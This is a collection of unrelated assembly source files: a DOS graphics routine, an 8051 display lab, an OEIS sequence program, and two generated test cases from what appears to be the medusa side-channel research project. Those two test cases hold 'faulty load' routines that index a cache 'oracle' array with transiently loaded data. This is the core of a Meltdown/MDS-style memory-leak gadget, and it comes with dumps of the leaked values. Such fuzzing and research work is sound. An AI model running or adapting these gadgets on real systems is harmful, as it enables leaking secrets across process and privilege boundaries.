21h ; mov esi,1024*7 ; call get_video ; ; push es ; pop ds ; call show_video_p ; mov ecx,100 call wait_time call free_aloc ending: ;dzialanie: konczy program mov cx,[SelOldKeyInt] mov edx,[OfsOldKeyInt] mov bl,09h mov ax,0205 int 31h mov ecx,20 call wait_time mov bx,[OldVideoMode] mov eax,4f02h ;przywroc tryb int 10h Ending: mov eax,4c00h ;wyjdz int 21h aloc_file_memory: get_file_size: xor ecx,ecx mov eax,4202h xor edx,edx ;pobierz rozmiar pliku int 21h push dx push ax shl edx,16 mov dx,ax push edx xor edx,edx mov eax,4200h xor ecx,ecx int 21h pop ecx mov [FileSize],ecx mov [FileHandle],ebx alloc_extend: mov eax,0501h pop cx pop bx add cx,1024*7 jnc @f inc bx @@: int 31h mov [AlocHandleSi],si mov [AlocHandleDi],di push bx push cx create_selector: mov cx,1 xor ax,ax int 31h mov dx,ds lar cx,dx mov si,ax shr cx,8 mov bx,ax or cx,1100000000000000b mov ax,9 int 31h pop dx pop cx mov bx,si mov ax,7 int 31h mov cx,0ffffh mov dx,0ffffh mov eax,8 mov bx,si int 31h mov [es:SelAloc],si ret get_picture_p: mov ecx,[es:FileSize] mov edx,1024*7 ;mov edx,1024*7 sub ecx,1024 get_picture: ;dzialanie: pobiera obraz z pliku do bufora ;wymagania:ebx=uchwyt pliku ds=aloc ecx=rozmiar pliku edx=adres bufora ;zwraca: ebx=nowy uchwyt pliku mov eax,3f00h ;czytaj z pliku int 21h ;zaladuj obraz ret get_video: mov ecx,4b000h/4 mov edi,Video rep movsd ret free_aloc: mov eax,1 mov bx,[SelAloc] int 31h mov eax,502h mov si,[AlocHandleSi] mov di,[AlocHandleDi] int 31h ret error: ;wymaga: es=_code ;dzialanie: wyswietla errormsg push es pop ds mov edx,[AErrorMsg] mov eax,0900h ;jesli wystapil blad int 21h xor eax,eax ;czekaj na klawisz int 16h jmp Ending keyboard_int: pushfd push eax .read: in al,60h ; read scan code movzx eax,al cmp al,0E0h jae .done test al,80h jz .pressed and al,7Fh mov byte[BKeyboard+eax],0 jmp .done .pressed: cmp byte[BKeyboard+eax],0 jne .done mov [es:Key],1 mov byte[BKeyboard+eax],1 .done: in al,61h ; give finishing information mov bx,bx out 61h,al ; to keyboard... mov al,20h out 20h,al ; ...and interrupt controller pop eax popfd iret open_file: ;dzialanie: otwiera plik ;wymaga: ds=_code edx=nazwa pliku ;zwraca:ebx=uchwyt pliku edx=uchwyt do nazwy pliku mov [AErrorMsg],TFileErrorMsg mov eax,3d00h xor cx,cx int 21h jc error mov ebx,eax ret load_palette: ;dzialanie: laduje palete z pliku do zaalokowanej pamieci ;niszczy:eax,edx,ecx ;wymaga ds=segment DOS es=_code ;zwraca ecx=1024 ebx=nowy uchwyt pliku edx=0 mov eax,3f00h ;zaladuj palete z pliku mov ecx,1024 ;1024 bajty xor edx,edx ;ofset bufora int 21h jc Ending ret move_palette: ;dialanie: przenosi palete spod ds:esi do gs:edi ;niszczy: eax, edi,esi, ebp ;wymaga ds=_segment palety gs_=selektor zaalokowanej pamieci DOS [edi=0 esi=skad ma przeniesc palete] ;zwraca: edi=1024 esi=1024 ebp=1024 xor edi,edi mov ebp,esi add ebp,1024 @@: mov eax,dword[ds:esi] mov [gs:edi],eax add esi,4 add edi,4 cmp esi,ebp jb @r ret show_video_p: xor dx,dx xor bx,bx mov esi,Video mov edi,0a000h*16 show_video: ;dzialanie:przenosi obraz z Video do pamieci karty graficznej ;wymagania: dflag=0 dx=0 bx=0 fs=0-based esi=ofset obrazu edi=ofset pamieci video ;zwraca: dx=4 edi=0a000h*16+0b000h esi=Video+640*480 ax=004fh mov eax,[ds:esi] ;zaladuj do eax obraz mov dword[fs:edi],eax ;przenies do pamieci karty graf. add edi,4 ;aktualizuj indexy add esi,4 cmp dx,4 ;czy ostatni bank jb @f cmp edi,0a000h*16+0b000h ;czy koniec obrazu jb show_video ret @@: cmp edi,0a000h*16+0ffffh ;czy trzeba zmienic bank? jb show_video mov edi,0a000h*16 ;jesli tak, to ustaw segment pamieci add dx,1 mov ax,4F05h ;zmien bank int 10h jmp show_video copy_palette: ;dzialanie:przenosielement palety spod ds:edx do 5 kolejnych palet zmniejszajac jasnosc ;niszczy: bp,edi,al ;wymaga ds=aloc edx=adres palety mov edi,edx mov bp,6 mov al,[edx] @@: shr al,1 add edi,1024 mov [edi],al dec bp jnz @r ret set_palette_p: mov [es:RMebx],0 ;flagi mov [es:AErrorMsg],TVESAErrorMsg ; mov [es:RMecx],256 ;ilosc zmienionych pozycji mov [es:RMedx],0 ;index startu palety mov [es:RMedi],0 ;ofset bufora palety RMes segment bufora palety set_palette: ;dzialanie: ustawia palete spod [RMes:0] ;niszczy:ax ;wymaga:RMebx,RMedx,RMedi=0 RMecx=256 es=_code[edi=RMRegs RMeax=4f09h RMes=segment DOS z paleta cx=0 bx=0010] ;zwraca:ax=kod bledu DPMI RMeax=kod bledu VESA xor cx,cx ; mov edi,RMRegs ; mov [es:RMeax],4f09h ;funkcja ustaw palete mov bx,0010h ;int 10h mov ax,0300h ;emuluj przerwanie 16-bit int 31h ;ustaw palete cmp [es:RMeax],004fh jne error ;czy blad ret make_delay: ;dzialanie: tworzy odstep czasowy dlugosci cx*1/70 sec. ;niszczy:dx,ax,[counter] ;wymaga: ds=_code cx= odstep czasowy ;zwraca: al=0 mov word[es:Counter],0 @@: call delay cmp [es:Key],0 jne @f cmp word [es:Counter],cx jne @r @@: ret wait_time: ;dzialanie: tworzy odstep czasowy dlugosci cx*1/70 sec. ;niszczy:dx,ax,[counter] ;wymaga: ds=_code cx= odstep czasowy ;zwraca: al=0 mov word[es:Counter],0 @@: call delay cmp word [es:Counter],cx jne @r ret delay: mov dx,3dah @@: in al,dx test al,8 jnz @r ;Czekaj na rozpoczecie Vertical Retace @@: in al,dx test al,8 jz @r ;Czekaj na zakonczenie Vertical Retace add word[es:Counter],1 ret Counter dw 0 RMRegs: times 32h db 0 TMemoryErrorMsg db "Not enough conventional memory.",13,10,'$' TOutOfMemoryErrorMsg db 'Out of memory',13,10,'$' TVESAErrorMsg db "Your graphic card doesn't support VESA 640*480*256 mode!",13,10,'$' TDPMIErrorMsg db 'DPMI error!',13,10,'$' TFileErrorMsg db 'File error!',13,10,'$' TMessage: db 'Wpisz nazwe pliku [gpf], ktory chcesz otworzyc',10,13,'$' LogoName db 'data\Logo.gpf',0 FMenuName db 'data\menu.gpf',0 FConfigName db 'data\config.dat',0 FileSize dd 0 FileHandle dd 0 AlocHandleSi dw 0 AlocHandleDi dw 0 TMenuAnim dd 640*480,640*480+220,640*530,640*530+220 DefaultKeys db 1,1ch,19h,4bh,4dh,48h,50h,1eh,20h,11h,0,24h,26h,17h,0,53h,51h,47h ; esc,ent,p,1l, 1p 1g 1d 2l 2p 2g 3l 3p 3g 4l 4p 4g UsersKeys: times 18 db 0 AErrorMsg dd 0 OldVideoMode dw 0 SelOldKeyInt dw 0 OfsOldKeyInt dd 0 SelAloc dw 0 Key db 0 BKeyboard: times 80h db 0 Video: rb 640*480 virtual at RMRegs RMedi dd ? RMesi dd ? RMebp dd ? RMreserved dd ? RMebx dd ? RMedx dd ? RMecx dd ? RMeax dd ? RMflags dw ? RMes dw ? RMds dw ? RMfs dw ? RMgs dw ? RMip dw ? RMcs dw ? RMsp dw ? RMss dw ? end virtual
20.683274
116
0.667154
0ac9b481d54f9b4c94724e805e41dae3be15be8e
7,194
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_1675.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_1675.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_1675.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r14 push %r9 push %rcx push %rdi push %rsi lea addresses_A_ht+0x161a1, %r9 nop nop nop nop xor $18453, %r12 movups (%r9), %xmm0 vpextrq $0, %xmm0, %r11 nop nop nop nop add $54545, %r10 lea addresses_A_ht+0x8941, %rsi lea addresses_UC_ht+0x139c1, %rdi nop nop cmp %r14, %r14 mov $81, %rcx rep movsb nop nop xor $13460, %r11 lea addresses_A_ht+0x8ba1, %rsi lea addresses_D_ht+0x1ecb9, %rdi nop nop nop dec %r12 mov $19, %rcx rep movsb add %r11, %r11 lea addresses_D_ht+0x19a1, %rsi lea addresses_UC_ht+0x3725, %rdi clflush (%rsi) nop nop nop nop sub %r11, %r11 mov $48, %rcx rep movsq nop nop nop nop xor $36973, %rcx lea addresses_A_ht+0x1b7a1, %r9 sub %rsi, %rsi mov (%r9), %r12w nop nop nop nop inc %r14 lea addresses_A_ht+0xa801, %rcx nop nop add $47088, %rdi movb (%rcx), %r11b nop nop nop cmp %r9, %r9 lea addresses_A_ht+0x7415, %r12 nop nop nop nop add $37681, %rdi mov $0x6162636465666768, %r14 movq %r14, %xmm7 vmovups %ymm7, (%r12) nop nop nop xor %r11, %r11 lea addresses_D_ht+0xde59, %rsi nop nop xor $15446, %r10 movw $0x6162, (%rsi) xor $48094, %r10 lea addresses_WT_ht+0x428b, %r9 nop dec %r10 mov (%r9), %rdi nop add $35554, %r10 lea addresses_A_ht+0x1baa1, %r12 nop nop nop nop nop cmp %rdi, %rdi mov $0x6162636465666768, %r11 movq %r11, %xmm6 movups %xmm6, (%r12) nop nop nop nop nop cmp %rdi, %rdi lea addresses_WT_ht+0x6ba1, %rcx nop nop nop nop xor %r14, %r14 movw $0x6162, (%rcx) nop nop xor $21595, %r12 lea addresses_UC_ht+0xada1, %rsi lea addresses_normal_ht+0xe21d, %rdi nop cmp $52731, %r12 mov $102, %rcx rep movsb nop nop nop xor %r14, %r14 pop %rsi pop %rdi pop %rcx pop %r9 pop %r14 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r8 push %rax push %rbx push %rdi push %rdx // Store mov $0x5a1, %rax nop nop sub %rdx, %rdx movl $0x51525354, (%rax) nop sub %r15, %r15 // Faulty Load lea addresses_US+0xf3a1, %r12 nop nop nop add $25366, %r8 movb (%r12), %dl lea oracles, %rdi and $0xff, %rdx shlq $12, %rdx mov (%rdi,%rdx,1), %rdx pop %rdx pop %rdi pop %rbx pop %rax pop %r8 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_US', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_P', 'size': 4, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_US', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}} {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}} {'src': {'same': True, 'congruent': 1, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.586538
2,999
0.655268
efcc3e4aac9b6859ff07445f4c6071e0a9f9a539
468
asm
Assembly
Lab2/lab23Short.asm
siwasilp/Micro
c3d30ee7078c8c63590401a8ae6bc63ca6c0361a
[ "Apache-2.0" ]
null
null
null
Lab2/lab23Short.asm
siwasilp/Micro
c3d30ee7078c8c63590401a8ae6bc63ca6c0361a
[ "Apache-2.0" ]
null
null
null
Lab2/lab23Short.asm
siwasilp/Micro
c3d30ee7078c8c63590401a8ae6bc63ca6c0361a
[ "Apache-2.0" ]
null
null
null
;==== LAB23.ASM ==== ORG 8000H C7SEG EQU 0E060H START: MOV R0,#0 MAIN: MOV A,R0 INC R0 ACALL TAB01 MOV DPTR,#C7SEG MOVX @DPTR,A ACALL DELAY CJNE R0,#10H,MAIN SJMP START TAB01: MOV DPTR,#DATA MOVC A,@A+DPTR RET DELAY: MOV R5,#04 DELAY1: MOV R6,#200 DELAY2: MOV R7,#200 DELAY3: DJNZ R7,DELAY3 DJNZ R6,DELAY2 DJNZ R5,DELAY1 RET DATA: DB 3FH,06H,5BH,4FH DB 66H,06DH,7DH,07H DB 7FH,6FH,77H,7CH DB 39H,5EH,79H,71H END
14.625
25
0.634615
5d4b54bd56fa90d9c39b837067a85f78b86217aa
7,535
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_1657.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_1657.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_1657.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x1923e, %rsi lea addresses_WT_ht+0xd7fe, %rdi add %r9, %r9 mov $83, %rcx rep movsb nop xor $26507, %rbp lea addresses_UC_ht+0x130be, %r11 nop cmp %rcx, %rcx mov (%r11), %r9w nop nop nop nop nop inc %rdi lea addresses_UC_ht+0x13a82, %r11 xor %r14, %r14 movb (%r11), %r9b nop nop nop nop nop add $45900, %rcx lea addresses_WT_ht+0x99be, %rbp nop nop nop dec %rdi movl $0x61626364, (%rbp) inc %rsi lea addresses_D_ht+0x1b586, %rsi lea addresses_WC_ht+0x384e, %rdi nop nop nop sub $47008, %r13 mov $23, %rcx rep movsq nop nop nop nop xor $1977, %r11 lea addresses_normal_ht+0xeffe, %rsi nop nop nop nop sub %r9, %r9 mov (%rsi), %r14d inc %rdi lea addresses_WT_ht+0xf32e, %rsi lea addresses_WC_ht+0x1474a, %rdi nop nop nop nop nop inc %r9 mov $45, %rcx rep movsl nop inc %r13 lea addresses_D_ht+0x17a7e, %r9 nop xor %rdi, %rdi movl $0x61626364, (%r9) nop nop nop nop add %r13, %r13 lea addresses_D_ht+0x110f6, %rsi lea addresses_WT_ht+0x17bfe, %rdi nop nop nop dec %rbp mov $121, %rcx rep movsw nop nop nop nop add $27805, %r9 lea addresses_UC_ht+0x1dac2, %rbp nop nop nop and %rsi, %rsi mov $0x6162636465666768, %r9 movq %r9, %xmm2 and $0xffffffffffffffc0, %rbp vmovaps %ymm2, (%rbp) nop nop nop nop dec %r11 lea addresses_WT_ht+0x133fe, %r11 nop nop cmp %r9, %r9 movups (%r11), %xmm6 vpextrq $1, %xmm6, %rsi and $16501, %rcx lea addresses_WC_ht+0x1ab3e, %rsi lea addresses_A_ht+0x9e92, %rdi nop nop nop inc %r14 mov $17, %rcx rep movsw add $61839, %r11 pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %rax push %rbx push %rcx push %rdi push %rdx // Store lea addresses_WT+0x6bfe, %rax cmp $8143, %r12 mov $0x5152535455565758, %r11 movq %r11, (%rax) nop nop cmp %r12, %r12 // Store lea addresses_WC+0x60be, %rdx clflush (%rdx) nop nop and %rcx, %rcx mov $0x5152535455565758, %r12 movq %r12, %xmm3 vmovups %ymm3, (%rdx) nop nop cmp $51629, %rbx // Faulty Load lea addresses_WT+0x6bfe, %rcx nop nop nop nop nop xor $44228, %r12 movups (%rcx), %xmm4 vpextrq $0, %xmm4, %rdi lea oracles, %rbx and $0xff, %rdi shlq $12, %rdi mov (%rbx,%rdi,1), %rdi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': True, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
34.56422
2,999
0.657731
fb95855be382840bbf60cb1a1e84f080b44afeb7
453
asm
Assembly
programs/oeis/168/A168202.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/168/A168202.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/168/A168202.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A168202: a(n) = 3*n - a(n-1) + 1 with n > 1, a(1)=5. ; 5,2,8,5,11,8,14,11,17,14,20,17,23,20,26,23,29,26,32,29,35,32,38,35,41,38,44,41,47,44,50,47,53,50,56,53,59,56,62,59,65,62,68,65,71,68,74,71,77,74,80,77,83,80,86,83,89,86,92,89,95,92,98,95,101,98,104,101,107,104,110,107,113,110,116,113,119,116,122,119,125,122,128,125,131,128,134,131,137,134,140,137,143,140,146,143,149,146,152,149 mov $1,$0 div $0,2 mod $1,2 sub $0,$1 add $0,1 mul $0,3 add $0,2
